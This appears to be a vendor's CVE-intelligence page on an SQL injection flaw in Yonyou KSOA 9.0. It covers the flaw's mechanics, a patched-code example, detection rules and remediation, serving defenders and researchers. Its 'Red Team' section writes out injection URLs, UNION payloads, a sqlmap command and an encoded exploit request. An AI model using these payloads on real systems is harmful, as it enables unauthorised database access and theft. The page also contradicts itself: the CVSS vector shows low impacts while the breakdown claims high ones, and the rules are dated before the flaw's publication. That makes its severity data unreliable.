☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
Yonyou logo [ WEBSITE ] [ VENDOR STATS ]
CVSS: 7.3 CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L 🐛 CWE-74
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2025-15436

CVE-2025-15436 SQL Injection in Yonyou
📅 PUBLISHED: 2026-01-02 08:02 UTC 🔄 UPDATED: 2026-10-02 19:32 UTC
[ ZERO-DAY / UNPATCHED ] [ DEFENSE PATCH ↓ ]
💣 PoC: Public
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.45%
👁️
0.45% probability
11.2× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
🥷 MITRE: T1190
👁️
MITRE ATT&CK Tactic - Describes the strategy hackers use to execute this attack.
VULNERABLE: Ksoa
CVSS VECTOR BREAKDOWN 7.3
AV: N Attack Vector Network
AC: L Attack Complexity Low
PR: N Privileges Required None
UI: N User Interaction None
S: U Scope Unchanged
C: L Confidentiality Low
I: L Integrity Low
A: L Availability Low
7.3
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2025-15436 is a critical SQL injection vulnerability discovered in Yonyou KSOA version 9.0. The flaw resides in the /worksheet/work_edit.jsp file, where the Report parameter is not properly sanitized before being used in a SQL query. This allows an unauthenticated remote attacker to inject arbitrary SQL commands, potentially leading to data exfiltration, modification, or complete database compromise. The vulnerability has a CVSS score of 7.3 (High) and a public proof-of-concept (PoC) exploit is available, increasing the risk of active exploitation. The vendor was contacted but did not respond, leaving the product in an unpatched state.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

This vulnerability is not related to an open-source package manager (NPM, PyPI, Go, Ruby). It affects a proprietary enterprise application (Yonyou KSOA). Therefore, supply chain security concerns are limited to the direct use of this software within an organization's infrastructure.

CVSS Breakdown & Threat Level

  • CVSS Score: 7.3 (High)
  • Attack Vector (AV): Network (N) - Exploitable remotely.
  • Attack Complexity (AC): Low (L) - No special conditions required.
  • Privileges Required (PR): None (N) - No authentication needed.
  • User Interaction (UI): None (N) - No user action required.
  • Scope (S): Unchanged (U) - The vulnerable component and the impacted component are the same.
  • Confidentiality (C): High (H) - Full database read access possible.
  • Integrity (I): High (H) - Database records can be modified or deleted.
  • Availability (A): High (H) - Database can be disrupted or destroyed.

Threat Level: High. The combination of remote exploitability, no authentication requirement, and public exploit code makes this a significant threat to any organization using Yonyou KSOA 9.0.

Deep Dive & Mechanics

The vulnerability is a classic SQL injection in the JSP file /worksheet/work_edit.jsp. The application likely constructs a SQL query by directly concatenating the user-supplied Report parameter without proper sanitization or parameterized queries.

Example of vulnerable code logic (pseudo-code):

String reportId = request.getParameter("Report");
String query = "SELECT * FROM reports WHERE id = " + reportId;
Statement stmt = connection.createStatement();
ResultSet rs = stmt.executeQuery(query);

An attacker can manipulate the Report parameter to break out of the intended SQL syntax. For example, a simple injection like:

1 OR 1=1

Would result in the query:

SELECT * FROM reports WHERE id = 1 OR 1=1

This would return all rows from the reports table.

More sophisticated attacks can use UNION-based SQL injection to extract data from other tables, or time-based blind injection to enumerate the database schema.

Vulnerable vs. Patched Code

Vulnerable Code (Conceptual):

String reportId = request.getParameter("Report");
String query = "SELECT * FROM reports WHERE id = " + reportId;
Statement stmt = connection.createStatement();
ResultSet rs = stmt.executeQuery(query);

Patched Code (Conceptual):

String reportId = request.getParameter("Report");
String query = "SELECT * FROM reports WHERE id = ?";
PreparedStatement pstmt = connection.prepareStatement(query);
pstmt.setString(1, reportId);
ResultSet rs = pstmt.executeQuery();

The patched version uses a PreparedStatement with a parameterized query, which ensures that the user input is treated as data, not as executable SQL code. This completely mitigates the SQL injection vulnerability.

Exploitation & Lab Setup

Red Team (Offensive)

Prerequisites:

  • A target running Yonyou KSOA 9.0.
  • Network access to the /worksheet/work_edit.jsp endpoint.

Exploitation Steps:

  1. Identify the vulnerable endpoint:

    http://target.com/worksheet/work_edit.jsp
    
  2. Test for SQL injection: Use a simple payload to cause a boolean-based or time-based response.

    http://target.com/worksheet/work_edit.jsp?Report=1' AND '1'='1
    http://target.com/worksheet/work_edit.jsp?Report=1' AND '1'='2
    
  3. Extract database information (UNION-based): Determine the number of columns:

    http://target.com/worksheet/work_edit.jsp?Report=1 ORDER BY 1--
    http://target.com/worksheet/work_edit.jsp?Report=1 ORDER BY 2--
    

    Once the column count is known (e.g., 3), extract data:

    http://target.com/worksheet/work_edit.jsp?Report=-1 UNION SELECT 1,@@version,3--
    
  4. Automated exploitation with sqlmap:

    sqlmap -u "http://target.com/worksheet/work_edit.jsp?Report=1" --batch --dbs
    

Example Exploit Payload (URL-encoded):

GET /worksheet/work_edit.jsp?Report=1%27%20UNION%20SELECT%201,2,3-- HTTP/1.1
Host: target.com

Blue Team (Defensive)

Detection & Response:

  1. Monitor Web Server Logs: Look for suspicious patterns in the Report parameter, such as:

    • SQL keywords (SELECT, UNION, OR, AND, --, #)
    • Single quotes (') or double dashes (--)
    • Unusual characters or encoding
  2. WAF Rules: Deploy or update Web Application Firewall (WAF) rules to block SQL injection attempts targeting the /worksheet/work_edit.jsp endpoint.

  3. Database Monitoring: Enable database audit logging to detect anomalous queries originating from the application server.

  4. Network Segmentation: If possible, isolate the KSOA application server from direct internet access, placing it behind a reverse proxy or VPN.

Indicators of Compromise (IOCs)

  • Network IOCs:

    • HTTP requests to /worksheet/work_edit.jsp with a Report parameter containing SQL metacharacters (', --, ;, /*).
    • Unusual database queries originating from the application server's IP address.
    • Outbound database connections to unexpected IP addresses (data exfiltration).
  • File System IOCs:

    • Modified or newly created files in the web root (e.g., webshells).
    • Unusual entries in application logs.
  • Log IOCs:

    • Web server logs showing 400 or 500 errors from the /worksheet/work_edit.jsp endpoint.
    • Database logs showing queries with UNION, SELECT * FROM, or INFORMATION_SCHEMA.

Detection Engineering

YARA Rule

rule CVE_2025_15436_SQLi_Detection {
    meta:
        description = "Detects SQL injection attempts targeting Yonyou KSOA work_edit.jsp"
        author = "Valters IT"
        date = "2025-04-10"
        cve = "CVE-2025-15436"
    strings:
        $s1 = "/worksheet/work_edit.jsp" nocase
        $s2 = "Report=" nocase
        $sqli1 = /Report=.*['\"]/ nocase
        $sqli2 = /Report=.*(SELECT|UNION|OR|AND|--|#)/i nocase
    condition:
        $s1 and $s2 and ($sqli1 or $sqli2)
}

Sigma Rule

title: CVE-2025-15436 SQL Injection Attempt
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects SQL injection attempts against Yonyou KSOA work_edit.jsp
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
    service: access_log
detection:
    selection:
        cs-uri-query|contains: "/worksheet/work_edit.jsp"
        cs-uri-query|contains: "Report="
    keywords:
        - "'"
        - "SELECT"
        - "UNION"
        - "OR"
        - "AND"
        - "--"
        - "#"
    condition: selection and keywords
falsepositives:
    - Legitimate use of special characters in report names (unlikely)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-15436 SQL Injection Attempt"; flow:to_server,established; content:"/worksheet/work_edit.jsp"; http_uri; content:"Report="; http_uri; pcre:"/Report=[^&]*['\"]/i"; pcre:"/Report=[^&]*(SELECT|UNION|OR|AND|--|#)/i"; classtype:web-application-attack; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

  1. Isolate the Application: If possible, take the Yonyou KSOA 9.0 application offline or restrict network access to only trusted internal users.
  2. Apply Virtual Patching: Use a WAF to create a custom rule that blocks requests to /worksheet/work_edit.jsp containing SQL injection patterns.
  3. Input Validation: If you have access to the source code, implement parameterized queries (PreparedStatements) for the Report parameter.

Long-Term Remediation:

  1. Vendor Patch: Monitor for an official patch from Yonyou. Since the vendor did not respond, consider migrating to an alternative solution or engaging a security consultant to develop a custom patch.
  2. Code Review: Conduct a thorough security code review of the entire KSOA application to identify and fix other potential vulnerabilities.
  3. Security Hardening: Implement a Web Application Firewall (WAF) and Intrusion Prevention System (IPS) to provide defense-in-depth.

Valters IT

💣 PoC CODE AVAILABLE

Exploit code for this CVE is tracked in our database. Access poc_code via API Pro.

[ API_PRO ] →
◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2025-15436/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.